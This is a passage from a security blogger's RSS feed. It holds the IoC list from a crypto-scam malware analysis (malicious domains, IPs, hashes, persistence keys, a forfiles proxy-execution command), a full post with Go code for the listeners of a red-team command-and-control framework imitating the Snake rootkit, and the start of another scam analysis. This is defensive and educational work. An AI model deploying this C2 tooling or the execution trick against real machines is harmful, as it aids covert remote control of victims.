and get a copy of a new sample for analysis. As of writing, the campaign is still ongoing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*SEWSrcsWSBrMZ9wbUwr0Pg.png" /><figcaption>GitHub repo created during the writing of this post</figcaption></figure><h3>— [ 0xC. IoCs</h3><p>Please note that these IoCs are atomic, to ensure proper detection ,please refer to the detailed walkthroughs in the post.</p><h4><strong>— [ 0xC.1. Network</strong></h4><ul><li>httpx://dev-features.app/</li><li>httpx://developer-features.dev/</li><li>httpx://developerfeatures.tech/</li><li>185.237.165.254</li><li>sonosnewqk.com</li><li>45.142.193.143</li><li>normalsleep1.com</li></ul><h4>— [ 0xC.2. <strong>Files and folders</strong></h4><ul><li>%AppData%\NSservices</li><li>%APPDATA%\Svservices</li><li>%Appdata%\monbrowser\xpfix.exe</li><li>%Documents%\BFAlJ7cK6l\service.exe</li><li>%TEMP%\.__init__log</li><li>%USERPROFILE%\Pictures\cO4OVVGT.wav</li><li>$env:USERPROFILE\Music\haMwYuqze\client32.exe</li><li>svservices.exe — MD5: 64F1310F6300870F1C81792733E92E5E</li><li>service.exe — MD5: 0807162E18231DAAD7C5C5E62F4D9AE</li><li>ndd.msi — MD5: 5C69D38A9CE111C2EE63F9AE7A57473D</li><li>vvg.msi</li><li>update.msi</li><li>4LAhA4WA.wav</li><li>vCjLXPkJ.wav</li></ul><h4>— [ 0xC.3. Persistence</h4><ul><li>Service: NdService NetSupport Client Application (Verified) NETSUPPORT LTD. C:\Users\IEUser\AppData\Roaming\NSservices\svservices.exe</li><li>HKCU:\Software\Microsoft\Windows\CurrentVersion\Run with name AudioService</li><li>‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ SecureModule</li></ul><h4>— [ 0xC.4. Command Lines</h4><ul><li>forfiles /p C:\Windows\System32 /m calc.exe /c “cmd /c start \”\” \”C:\Windows\explorer.exe\”</li></ul><h3>— [ 0xD. References</h3><ul><li>001 — SCAM003: The Art of Crypto Scams — <a href="https://medium.com/@0x0vid/the-art-of-crypto-scams-1daa01a639e0">https://medium.com/@0x0vid/the-art-of-crypto-scams-1daa01a639e0</a></li><li>002 — <a href="https://www.youtube.com/watch?v=GsB61DCY4F4">https://www.youtube.com/watch?v=GsB61DCY4F4</a></li><li>003 — <a href="https://github.com/TradingView-NA/developer/blob/main/enable">https://github.com/TradingView-NA/developer/blob/main/enable</a></li><li>004 — msiexec documentation — <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec</a></li><li>005 — <a href="https://www.netsupportsoftware.com/">https://www.netsupportsoftware.com/</a></li><li>006 — <a href="https://www.shodan.io/host/185.237.165.254">https://www.shodan.io/host/185.237.165.254</a></li><li>007 — <a href="https://github.com/TradingViewGitAI/developer-mode">https://github.com/TradingViewGitAI/developer-mode</a></li><li>008 — <a href="https://github.com/TradingViewAIFutures/dev-mode">https://github.com/TradingViewAIFutures/dev-mode</a></li><li>009 — <a href="https://github.com/tradingview-ai-indicators">https://github.com/tradingview-ai-indicators</a></li><li>010 — <a href="https://github.com/TradingViewDeveloper/Tools/blob/main/Update">https://github.com/TradingViewDeveloper/Tools/blob/main/Update</a></li><li>011 — <a href="https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf">https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6ccc6af60f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Re-creating the Snake Rootkit Part 009: C2 — Listeners]]></title>
            <link>https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-009-c2-listeners-93a95747fa90?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/93a95747fa90</guid>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Tue, 14 Oct 2025 20:52:56 GMT</pubDate>
            <atom:updated>2025-10-14T20:52:56.167Z</atom:updated>
            <content:encoded><![CDATA[<h3>Re-creating the Snake Rootkit Part 009: C2 — Listeners</h3><h4>Implementing listeners to catch incoming TCP connections</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*anNen9dzlRpts3OGRFUSfQ.png" /><figcaption>New logo for the project</figcaption></figure><h3>— [ 0x0. Table of Contents</h3><ul><li>[ 0x1. Introduction</li><li>[ 0x2. Listener concept</li><li>[ 0x3. Implementing Port Forwarding</li><li>[ 0x4. Listener frontend</li><li>[ 0x5. Managing listeners</li><li>[ 0x6. Meta work<br> — [ 0x6.1. What about malleable communications?<br> — [ 0x6.2. Organising the code<br> — [ 0x6.3. The Config file<br> — [ 0x6.4. End-to-end testing: Listeners</li><li>[ 0x7. Conclusion</li><li>[ 0x8. References</li></ul><h3>— [ 0x1. Introduction</h3><p>In the last part <a href="https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-008-c2-design-and-architecture-23acf19ce78d">[001]</a> of this little mini series, we talked about the overall architecture of our command and control framework. This framework is intended to support our overall goal of doing cool stuff that mimics the snake rootkit.</p><p>In this post, we will continue this work. And we will be starting with one of the core features: the listeners! In short, the listener is where agents connect to get and send relevant information, such as commands and the results of these.</p><p>But why do we need this? Can&#39;t we just expose an HTTP API and be over with it?! I hear you ask. That&#39;s a good question, and the answer to this is, what if we want to support different communication protocols? different types of communication? Sure, we could just create a fixed port for each of these and be done with it. But that solution seems kinda short sighted. Additionally, having multiple listeners allows us to use them for organisation as well.</p><p>With that out of the way, let&#39;s get started!</p><h3>— [ 0x2. Listener concept</h3><p>For the implementation, I will just go through the flow that a user would take to use the C2. So it will all start with having a listener to listen for incoming connections. The listeners in this context serve two major functions.</p><ol><li>The first and most obvious is to redirect incoming traffic to the appropriate endpoint in our API.</li><li>Next, but a bit more hidden, is to aid the creation of subsequent implants. This is because when we create listeners, we will define the connect back address as well, which can be the server. But it can also be a redirector hosted somewhere else.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*vtzuuVCPqc_fOqWh.png" /><figcaption>Reverse proxy setup</figcaption></figure><p>Since our main aim here is to be able to forward to different ports, we can achieve our desired outcome: listen on a port and send to an internal endpoint.</p><p>For this, we create a custom internal function that creates a new web server listening on our specified port and forwards the request. I will choose the latter to keep the entire application self-contained, then we can add a reverse proxy in front, like nginx or Traefik, if needed.</p><h3>— [ 0x3. Implementing Port Forwarding</h3><p>Starting off, I tried implementing the above as a simple HTTP reverse proxy, but quickly ran into issues. And after a bit of deliberation found out that a reverse proxy is not what I need. What I need is to do a plain old port forward. So that&#39;s what I did.</p><pre>/*<br>Function responsable for creating listener and inserting in db<br>*/<br>func CreateListner(listener Listener) bool {<br> _, err := db.Exec(&quot;INSERT INTO listeners VALUES(?, ?, ?, ?, ?, ?, ?)&quot;,<br>  listener.Name,<br>  listener.ListenerType,<br>  listener.Status,<br>  listener.BindAddress,<br>  listener.BindPort,<br>  listener.ConnectAddress,<br>  listener.ConnectPort,<br> )<br> listener.KillSwitch = false<br> if err != nil {<br>  log.Fatal(err)<br>  return false<br> }<br> log.Println(&quot;\t-&gt; Listner inserted successfully&quot;)<br>  log.Println(&quot;|-&gt; Spawning listner on port:&quot;, listener.ConnectPort)<br> /*<br>  add listener to global struct and pass index in arr to goroutine<br> */<br> // get index<br> index := 0<br> for i := range gArrListeners {<br>  i = i + 1<br>  index = i<br> }<br> /*<br>  add listener to array<br> */<br> gArrListeners = append(gArrListeners, listener)<br> go startListenerOnPort(listener.ConnectPort, index)<br> gArrListeners[index].Status = &quot;Active&quot;<br> updateListenerStatus()<br> return true<br>}<br>/*<br>Series of functions for preforming simpe port forwarding<br>*/<br>func handleRequest(conn net.Conn, index int) {<br> proxy, err := net.Dial(&quot;tcp&quot;, &quot;127.0.0.1:3000&quot;)<br> if err != nil {<br>  panic(err)<br> }<br> log.Println(&quot;\t|-&gt; Handeling incomming request using proxy:&quot;, proxy)<br> go copyIO(conn, proxy, index)<br> go copyIO(proxy, conn, index)<br>}<br>func copyIO(src, dest net.Conn, index int) {<br> log.Println(&quot;copyio&quot;)<br> defer src.Close()<br> defer dest.Close()<br> io.Copy(src, dest)<br>}<br>func startListenerOnPort(port string, index int) {<br> log.Println(&quot;[+] Starting listener on port:&quot;, port)<br> ln, err := net.Listen(&quot;tcp&quot;, &quot;:&quot;+port)<br> if err != nil {<br>  panic(err)<br> }<br> for {<br>  /*<br>   Check the state of this one in listener array<br>   if &quot;stopping&quot; then exit the for loop and update state<br>  */<br>  if gArrListeners[index].KillSwitch {<br>   log.Println(&quot;[+] Stopping listener&quot;)<br>   gArrListeners[index].Status = &quot;Stopped&quot;<br>   ln.Close()<br>   return<br>  }<br>  // Accept with timeout using a goroutine and select (non-blocking alternative)<br>  ln.(*net.TCPListener).SetDeadline(time.Now().Add(time.Second))<br>  conn, err := ln.Accept()<br>  if err != nil {<br>   if ne, ok := err.(net.Error); ok &amp;&amp; ne.Timeout() {<br>    continue // Timeout, re-check KillSwitch<br>   }<br>   log.Println(&quot;[!] Accept error:&quot;, err)<br>   continue<br>  }<br>  go handleRequest(conn, index)<br> }<br>}</pre><p>The code above first creates a listener in the database, then starts a go routine, spawning a server listening for incoming requests and forwarding them to our backend. Please note that for now that we do not have any way of stopping ongoing listeners (we will add that later).</p><h3>— [ 0x4. Listener frontend</h3><p>Now we need some way for the user to create listeners, so let&#39;s do some work on the frontend. For the POST request, since we are using JSON, we can&#39;t just use a regular form. We need to do some JavaScript magic to transform it into the right format. I used the following code, stolen from Stack Overflow <a href="https://stackoverflow.com/questions/22195065/how-to-send-a-json-object-using-html-form-data">[002]</a>. The form ended up looking like so:</p><pre>&lt;form id=&quot;createListener&quot; action=&quot;/api/v1/listeners&quot; method=&quot;POST&quot;&gt;<br>  &lt;div&gt;<br>      &lt;input name=&quot;Name&quot; id=&quot;Name&quot; value=&quot;name&quot; /&gt;<br>  &lt;/div&gt;<br>  &lt;div&gt;<br>      &lt;input name=&quot;ListenerType&quot; id=&quot;ListenerType&quot; value=&quot;HTTP&quot; /&gt;<br>  &lt;/div&gt;<br>  &lt;div&gt;<br>      &lt;input name=&quot;Status&quot; id=&quot;Status&quot; value=&quot;create&quot; /&gt;<br>  &lt;/div&gt;<br>  &lt;div&gt;<br>      &lt;input name=&quot;ConnectAddress&quot; id=&quot;ConnectAddress&quot; value=&quot;127.0.0.1&quot; /&gt;<br>  &lt;/div&gt;<br>  &lt;div&gt;<br>      &lt;input name=&quot;ConnectPort&quot; id=&quot;ConnectPort&quot; value=&quot;9001&quot; /&gt;<br>  &lt;/div&gt;<br>  &lt;div&gt;<br>      &lt;button&gt;Send my greetings&lt;/button&gt;<br>  &lt;/div&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>    var form = document.getElementById(&#39;createListener&#39;);<br>    form.onsubmit = function(event){<br>      var xhr = new XMLHttpRequest();<br>      var formData = new FormData(form);<br>      //open the request<br>      xhr.open(&#39;POST&#39;,&#39;http://127.0.0.1:3000/api/v1/listeners&#39;)<br>      xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/json&quot;);//send the form data<br>      xhr.send(JSON.stringify(Object.fromEntries(formData)));<br>      console.log(JSON.stringify(Object.fromEntries(formData)));<br>      xhr.onreadystatechange = function() {<br>          if (xhr.readyState == XMLHttpRequest.DONE) {<br>              form.reset(); //reset form after AJAX success or do something else<br>          }<br>      }<br>      //Fail the onsubmit to avoid page refresh.<br>      return false; <br>    }<br>&lt;/script&gt;<br></pre><p>It might be a bit overkill having the listener both in the database and in memory, but I like the idea of the server being able to have support for long-term persistence/operations and also the permanence of data instead of key info being stored only in memory.</p><p>Updating the HTML and the form, we get this as our interface:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIQ8xiw5TDaW41y7GiaFjw.png" /><figcaption>Create listener page</figcaption></figure><p>Next, we update the listeners table and the dashboard, and we now get a list of the listeners in the database. I think it might be a good idea to add some validation at runtime to check their status.</p><pre>{{ template &quot;header&quot; . }}<br>{{ template &quot;nav&quot; . }}<br>&lt;main class=&quot;max&quot; style=&quot;margin: 20px&quot;&gt;<br>        &lt;h3&gt;Listeners&lt;/h3&gt;<br>        &lt;br&gt;<br>        &lt;fieldset&gt;<br>        &lt;table class=&quot;stripes&quot;&gt;<br>            &lt;thead&gt;<br>                &lt;th&gt;Name&lt;/th&gt;<br>                &lt;th&gt;ListenerType&lt;/th&gt;<br>                &lt;th&gt;Status&lt;/th&gt;<br>                &lt;th&gt;ConnectAddress&lt;/th&gt;<br>                &lt;th&gt;ConnectPort&lt;/th&gt;<br>            &lt;/thead&gt;<br>            &lt;tbody&gt;<br>                {{ range . }}<br>                &lt;tr&gt;<br>                    &lt;td&gt;&lt;a href=&quot;{{ .Name }}&quot; style=&quot;color: greenyellow;&quot;&gt;{{ .Name }}&lt;/a&gt;&lt;/td&gt;<br>                    &lt;td&gt;{{ .ListenerType }}&lt;/td&gt;<br>                    &lt;td&gt;{{ .Status }}&lt;/td&gt;<br>                    &lt;td&gt;{{ .ConnectAddress }}&lt;/td&gt;<br>                    &lt;td&gt;{{ .ConnectPort }}&lt;/td&gt;<br>                &lt;/tr&gt;<br>                {{ end }}<br>            &lt;/tbody&gt;<br>        &lt;/table&gt;<br>        &lt;/fieldset&gt;<br>        &lt;br&gt;<br>        &lt;button onclick=&quot;location.href = &#39;/createListener&#39;;&quot;&gt;<br>            &lt;i&gt;add&lt;/i&gt;<br>            &lt;span&gt;Create&lt;/span&gt;<br>        &lt;/button&gt;<br>    &lt;/main&gt;<br>{{ template &quot;footer&quot; . }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8-P8mLc0S2U2KKZ7ckLcpQ.png" /><figcaption>Listener overview</figcaption></figure><p>I updated the code a bunch from the one pasted above. For the up-to-date code, check the GitHub repo.</p><p>To make sure that our database always has an up-to-date view of the listeners, and thus our frontend. I created an update function that just checks the status of the listeners in the database. The function starts by setting all listeners to inactive and then updates them based on their current status.</p><pre>func updateListenerStatus() {<br> log.Println(&quot;[+] Updating listeners&quot;)<br> db, err := sql.Open(&quot;sqlite&quot;, dbName)<br> if err != nil {<br>  log.Fatal(err)<br> }<br> defer db.Close()<br> /* Set all listeners to inactive and then update the ones in the array*/<br> _, err = db.Exec(&quot;UPDATE listeners SET Status = &#39;Inactive&#39; WHERE Status &lt;&gt; &#39;Error&#39;&quot;)<br> if err != nil {<br>  log.Fatal(err)<br> }<br> for i := range gArrListeners {<br>  _, err = db.Exec(&quot;UPDATE listeners SET Status = ? WHERE name = ?&quot;,<br>   gArrListeners[i].Status,<br>   gArrListeners[i].Name)<br>  if err != nil {<br>   log.Fatal(err)<br>  }<br> }<br>}</pre><p>As for getting listeners, we simply query the database after running our update function above.</p><pre>/*<br>Return struct of all listeners from db<br>*/<br>func GetListners() []Listener {<br> log.Println(&quot;[+] Getting listeners&quot;)<br> updateListenerStatus()<br><br> sqlStmt := &quot;SELECT * FROM listeners;&quot;<br> sqlListeners, err := Db.Query(sqlStmt)<br> defer sqlListeners.Close()<br> if err != nil {<br>  log.Fatal(err)<br> }<br> log.Println(&quot;\t|-&gt; Parsing listeners from SQL to Structs&quot;)<br> var listenersArr []Listener<br> for sqlListeners.Next() {<br>  tmpListener := Listener{}<br>  sqlListeners.Scan(<br>   &amp;tmpListener.Name,<br>   &amp;tmpListener.ListenerType,<br>   &amp;tmpListener.Status,<br>   &amp;tmpListener.BindAddress,<br>   &amp;tmpListener.BindPort,<br>   &amp;tmpListener.ConnectAddress,<br>   &amp;tmpListener.ConnectPort,<br>  )<br>  listenersArr = append(listenersArr, tmpListener)<br> }<br> return listenersArr<br>}</pre><p>Now, when trying to create more than one listener, we run into another problem. The pattern used by our forwarder and mux can only be used by one function. Creating another listener means that multiple will try to use it.</p><h3>— [ 0x5. Managing listeners</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNWwXooZ6jtPVYsCxl1ZDg.png" /><figcaption>Interface for managing listeners</figcaption></figure><p>Now we can create listeners; next up is to be able to stop and delete the listeners. Since we are using goroutines for the port forwarding, we will need to send a message to this. We can either do this via channels or via the in-memory array. For this, I choose to just add it as a variable in the listener struct; the listener then checks this variable during run time and terminates appropriately.</p><pre>func StopListener(listenerName string) bool {<br> /* find listener in global array */<br> for i := range gArrListeners {<br>  if gArrListeners[i].Name == listenerName {<br>   gArrListeners[i].Status = &quot;Stopping&quot;<br>   gArrListeners[i].KillSwitch = true<br>   updateListenerStatus()<br>   log.Println(&quot;\t|-&gt; Listener in arr updated&quot;)<br>   return true<br>  }<br> }<br> return false<br>}</pre><p>Next, to update listeners and edit their settings, we simply iterate the array and update the respective database entry.</p><pre>func updateListenerStatus() {<br> log.Println(&quot;[+] Updating listeners&quot;)<br> /* Set all listeners to inactive and then update the ones in the array*/<br> _, err := Db.Exec(&quot;UPDATE listeners SET Status = &#39;Inactive&#39; WHERE Status = &#39;Active&#39;;&quot;)<br> if err != nil {<br>  log.Panicln(err)<br> }<br> for i := range gArrListeners {<br>  _, err = Db.Exec(&quot;UPDATE listeners SET Status = $1 WHERE name = $2;&quot;,<br>   gArrListeners[i].Status,<br>   gArrListeners[i].Name)<br>  if err != nil {<br>   log.Panic(err)<br>  }<br> }<br> log.Println(&quot;\t|-&gt; Update done&quot;)<br>}</pre><p>Last thing on the implementation list for the listeners is getting the delete working. Luckily for us, this just boils down to calling the stop function, and once the listener is stopped, deleting it from the database.</p><pre>func DeleteListener(listenerName string) bool {<br> log.Println(&quot;[+] Deleting listener&quot;)<br> log.Println(&quot;\t|-&gt; Stopping listener:&quot;, listenerName)<br> /* find listener in global array */<br> index := 0<br> for i := range gArrListeners {<br>  if gArrListeners[i].Name == listenerName {<br>   gArrListeners[i].Status = &quot;Stopping&quot;<br>   gArrListeners[i].KillSwitch = true<br>   updateListenerStatus()<br>   log.Println(&quot;\t|-&gt; Listener in arr updated&quot;)<br>   index = i<br>   break<br>  }<br> }<br><br> /* Set all listeners to inactive and then update the ones in the array*/<br> log.Println(&quot;\t|-&gt; Deleting listener from db&quot;)<br> _, err := Db.Exec(&quot;DELETE FROM listeners WHERE Name = $1&quot;, listenerName)<br> if err != nil {<br>  return false<br> }<br> log.Println(&quot;\t|-&gt; Deleting listener from global array&quot;)<br> gArrListeners = slices.Delete(gArrListeners, index, index+1)<br> return true<br>}</pre><p>Now that the listener functionality is implemented, we can do some testing. Clicking around the application to make sure that stuff works is getting boring!</p><h3>— [ 0x6. Meta work</h3><p>Now that we have some code working and a basic app up and running, it&#39;s time to address the structure of the project. I waited until now just to make sure I did not do too much work before having something that I thought might work and be worth continuing working on.</p><p>So what do we need to do? First we need to reorganize the code and repo to seperate duties into seperate files, then we need to do some testing, after that we need to clean up the code above and add some nice documentation, and lastly we need to setup a good build system using a make file instead of running “go test .\tests” and “go run .\cmd”, and then still forgetting half the stuff we want.</p><p>All this work should result in us having a nice and easy-to-develop application, which is also somewhat maintainable.</p><h4><strong>—— [ 0x6.1. What about malleable communications?</strong></h4><p>Malleable communication is just a fancy way of describing how communication is done. <a href="https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b">[003]</a> It&#39;s a key feature in everything from Cobalt Strike to Covenant (here they call it listener profiles). Therefore, we will of course also want to have it! But I will wait on its implementation to a later point in time when we have everything else working.</p><h4><strong>— — [ 0x6.2. Organising the code</strong></h4><p>Before we can get to creating cool e2e tests for our app, we first need to reorganise our code. We need this because right now, everything is just in one single file, which quickly becomes unmaintainable. For this, we will just use the GoLang standards <a href="https://github.com/golang-standards/project-layout">[004]:</a></p><ul><li><strong>/cmd </strong>— this is the place where we have our main function — we will try to keep code here to a minimum, mostly we will just have the different rendering functions here</li><li><strong>/pkg</strong> — this is where we will store all of our files for the various function components</li><li><strong>/api </strong>— store our swagger file and specs</li><li><strong>/web </strong>— stores our web resources</li><li><strong>/config </strong>— configuration files, we used to have a lot of hardcoded values. I have moved this to a YAML config file for easier maintenance and the ability to change stuff at runtime.</li><li><strong>/test </strong>— stores all of our tests</li></ul><p>Now, after reorganising our code, the repo looks like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/240/1*VdqVAL2BtEBO5PWwbupl8A.png" /><figcaption>Reorganized project</figcaption></figure><h4><strong>— — [ 0x6.3. The Config file</strong></h4><p>It didn&#39;t take long looking through the code of the application before we were overwhelmed with the amount of hardcoded credentials in there. This is going to be a massive headache once we need to change anything. Let&#39;s do ourselves a favour and move the different hardcoded values to a file, and then parse the file with the config.go code so we can just reference it that way.</p><p>For now, the config file is rather simple and just contains some info about our server. But we will add to this as we go along.</p><pre>server:<br>  ip: 127.0.0.1<br>  port: &quot;3000&quot;<br>  taskDirectory: ./data/tasks/<br>  launcherDirectory: ./data/launchers/<br>  implantsDirectory: ./data/implants/<br>  obfuscationDirectory: ./data/obfuscation/</pre><p>To parse this efficiently in Go we will create a corresponding struct to load the data into.</p><pre>type ServerRoot struct {<br> Server ServerConfig `yaml:&quot;server&quot;`<br>}<br>type ServerConfig struct {<br> Ip                   string `yaml:&quot;ip&quot;`<br> Port                 string `yaml:&quot;port&quot;`<br> TaskDirectory        string `yaml:&quot;taskDirectory&quot;`<br> LauncherDirectory    string `yaml:&quot;launcherDirectory&quot;`<br> ImplantsDirectory    string `yaml:&quot;implantsDirectory&quot;`<br> ObfuscationDirectory string `yaml:&quot;obfuscationDirectory&quot;`<br>}</pre><p>We can now easily parse it from the file into the struct:</p><pre>func ParseConfig(servConfig string) {<br> log.Println(&quot;[+] Parsing server config&quot;)<br> f, err := os.ReadFile(servConfig)<br> if err != nil {<br>  log.Fatal(err)<br> }<br> var serverRoot ServerRoot<br> // Unmarshal our input YAML file into empty Car (var c)<br> if err := yaml.Unmarshal(f, &amp;serverRoot); err != nil {<br>  log.Fatal(err)<br> }<br> SrvConfig = serverRoot.Server<br> // Print out the new struct<br> fmt.Printf(&quot;\t%+v\n&quot;, SrvConfig)<br>}</pre><h4>— — [ 0x6.4. End-to-end testing: Listeners</h4><p>Now that we&#39;ve got the main functions working (we still need to make it a lot more robust and add a bunch of error handling), it&#39;s getting quite time-consuming and inconsistent to keep testing functionality manually. Thus, it&#39;s part of everybody&#39;s favourite part: implementing software testing!</p><p>Since we have done a nice job of making everything available via an API, the testing will be rather simple, and we can perform full end-to-end testing! Our goals for now are pretty simple:</p><ol><li>Create listener</li><li>Check that it&#39;s created and working as expected</li><li>Stop the listener and check that the status is updated correctly</li><li>Restart the listener and check that it&#39;s working</li><li>Lastly, remove the listener</li><li>If in debug mode, start a listener to have something to test with, without having to do the work yourself.</li></ol><p>So now that we have our goals lined up, let&#39;s go about the implementation. Starting out we can roughly define the steps that we need to take to achieve the goals:</p><ol><li>Send a post request to create a listener</li><li>Query the database to check the creation</li><li>Send a request via the listener and check for a successful connection</li><li>Send a post request to stop the listener</li><li>Query the database to check that it is stopped</li><li>Send a request via the listener and check if it failed — the connection should be refused</li><li>Restart the listener</li><li>query database again and send request again via listener — should succeed</li><li>Delete the listener</li><li>query database and send request — should not be in the database and</li></ol><p>For the testing, we will simply use the Go “test” framework<a href="https://codegangsta.gitbooks.io/building-web-apps-with-go/content/testing/end_to_end/index.html"> [005]</a>.</p><p>I won&#39;t bore you all to death, so I&#39;ll just show part of the first test, where a listener is created in the database</p><pre>func TestCreateListener(t *testing.T) {<br> // setup test database<br> log.Println(&quot;[+] Starting sqlite db&quot;)<br> pkg.InitDb()<br> // clean db<br> pkg.DropAllTables()<br> pkg.InitializeDatabase()<br>// setup test server<br> server := httptest.NewServer(http.HandlerFunc(pkg.CreateListnerApi))<br> defer server.Close()<br> listenerData := pkg.Listener{<br>  Name:           &quot;TestListener&quot;,<br>  ConnectPort:    &quot;9001&quot;,<br>  ConnectAddress: &quot;127.0.0.1&quot;,<br>  BindPort:       &quot;9001&quot;,<br>  BindAddress:    &quot;127.0.0.1&quot;,<br> }<br> jsonListener, _ := json.Marshal(listenerData)<br> resp, err := http.Post(server.URL+&quot;/api/v1/listeners&quot;, &quot;application/json&quot;, bytes.NewBuffer(jsonListener))<br> // Check status code<br> assert.NoError(t, err)<br> assert.Equal(t, http.StatusCreated, resp.StatusCode)<br> // check database via api<br> for i, listener := range pkg.GetListners() {<br>  assert.Equal(t, listenerData.Name, listener.Name)<br>  assert.Equal(t, listenerData.ConnectPort, listener.ConnectPort)<br>  assert.Equal(t, listenerData.ConnectAddress, listener.ConnectAddress)<br>  assert.Equal(t, listenerData.BindPort, listener.BindPort)<br>  assert.Equal(t, listenerData.BindAddress, listener.BindAddress)<br>  assert.Equal(t, i, 0) // there should only be a single listener in the db at thsi point<br> }<br>}</pre><p>Now we just have to go through and do this for all the actions we want our listeners to support!</p><h3>— [ 0x7. Conclusion</h3><p>Though this might be a bit boring subject, it&#39;s a core part of the system and a core part of our desired functionality! For the next post, we will create something for our agents to do: the tasks!</p><h3>— [ 0x8. References</h3><ul><li><strong>[001] </strong>— Re-creating the Snake Rootkit Part 008: C2 — Design and Architecture — <a href="https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-008-c2-design-and-architecture-23acf19ce78d">https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-008-c2-design-and-architecture-23acf19ce78d</a></li><li><strong>[002] </strong>— <a href="https://stackoverflow.com/questions/22195065/how-to-send-a-json-object-using-html-form-data">https://stackoverflow.com/questions/22195065/how-to-send-a-json-object-using-html-form-data</a></li><li><strong>[003] </strong>— <a href="https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b">https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b</a></li><li><strong>[004] </strong>— <a href="https://github.com/golang-standards/project-layout">https://github.com/golang-standards/project-layout</a></li><li><strong>[005]</strong> — <a href="https://codegangsta.gitbooks.io/building-web-apps-with-go/content/testing/end_to_end/index.html">https://codegangsta.gitbooks.io/building-web-apps-with-go/content/testing/end_to_end/index.html</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93a95747fa90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SCAM003: The Art of Crypto Scams]]></title>
            <link>https://medium.com/@0x0vid/the-art-of-crypto-scams-1daa01a639e0?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/1daa01a639e0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[scam]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Sat, 04 Oct 2025 17:34:40 GMT</pubDate>
            <atom:updated>2025-10-19T21:14:17.054Z</atom:updated>
            <content:encoded><![CDATA[<h4>TL;DR: This crypt scam uses a PowerShell download cradle to install a Chinese EDR, which routes traffic through an anonymous swizz cloud to act as a Remote Access Trojan (RAT). It uses the startup folder and two malicious scheduled tasks for persistence.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8T1zVtOfh0hhkDcE7PYgw.png" /><figcaption>Video thumbnail</figcaption></figure><h3>—[ 0x0 . Table of Contents</h3><ul><li>0x0. Table of Contents</li><li>0x1. Introduction</li><li>0x2. PowerShell Download Cradle</li><li>0x3. Beacon-Digi64.exe</li><li>0x4. ClusterDri.exe</li><li>0x5. XPFix.exe</li><li>0x6. Conclusion</li><li>0x7. Cleanup</li><li>0x8. IOCs</li><li>0x9. References</li></ul><h3>— [ 0x1. Introduction</h3><p>Its always a good day when I get served videos for “AI crypto investment opertunities”. And this was exactly what happened on friday. And you know it will be a good one when there is a call to action, the video is unlisted, and the “person” in the video has facial features that look like they were drawn by a 5 year old. The video was also removed within 24 hours <a href="https://www.youtube.com/watch?v=Hm-ga5HlXr8">[001]</a>.</p><p>The video is what we have come to expect: a pitch about an amazing tool which can help with crypto trading. The interesting thing here is that they kept talking about their partnership with OpenAI.</p><p>In the video they talk about having to enable “developer mode” on the trading software. A line that you might also remember from our last post on the subject “Another day, another crypto scam: Installing a RAT” <a href="https://medium.com/@0x0vid/another-day-another-crypto-scam-installing-a-rat-1f6dbbddeb43">[002]</a>. Again here the same technique is used with tricking the user into runnign some code from the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dVKog1-JDzFh9AIk8uP2_g.png" /><figcaption>Video description</figcaption></figure><p>In a change of pace, instead of just using an anonymous bitbucket or similar to store code snippets. This time the scammers actually went ahead and created a matching GitHub account, likely to seem more legitimate <a href="https://github.com/Trading-View-Tech?tab=overview&amp;from=2025-09-01&amp;to=2025-09-30">[003]</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxY-aSxPQWYGkudr-jsUmg.png" /><figcaption>GitHub account</figcaption></figure><p>However, this legitimacy does not last long, as we cna see the Github account is very new and only has this single repo, that is updated every couple of days.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*vQhsuxOgiqVXee_rpgjQjQ.png" /><figcaption>GitHub history</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*njx70extPe611OVnSywArw.png" /><figcaption>Commits for the repo 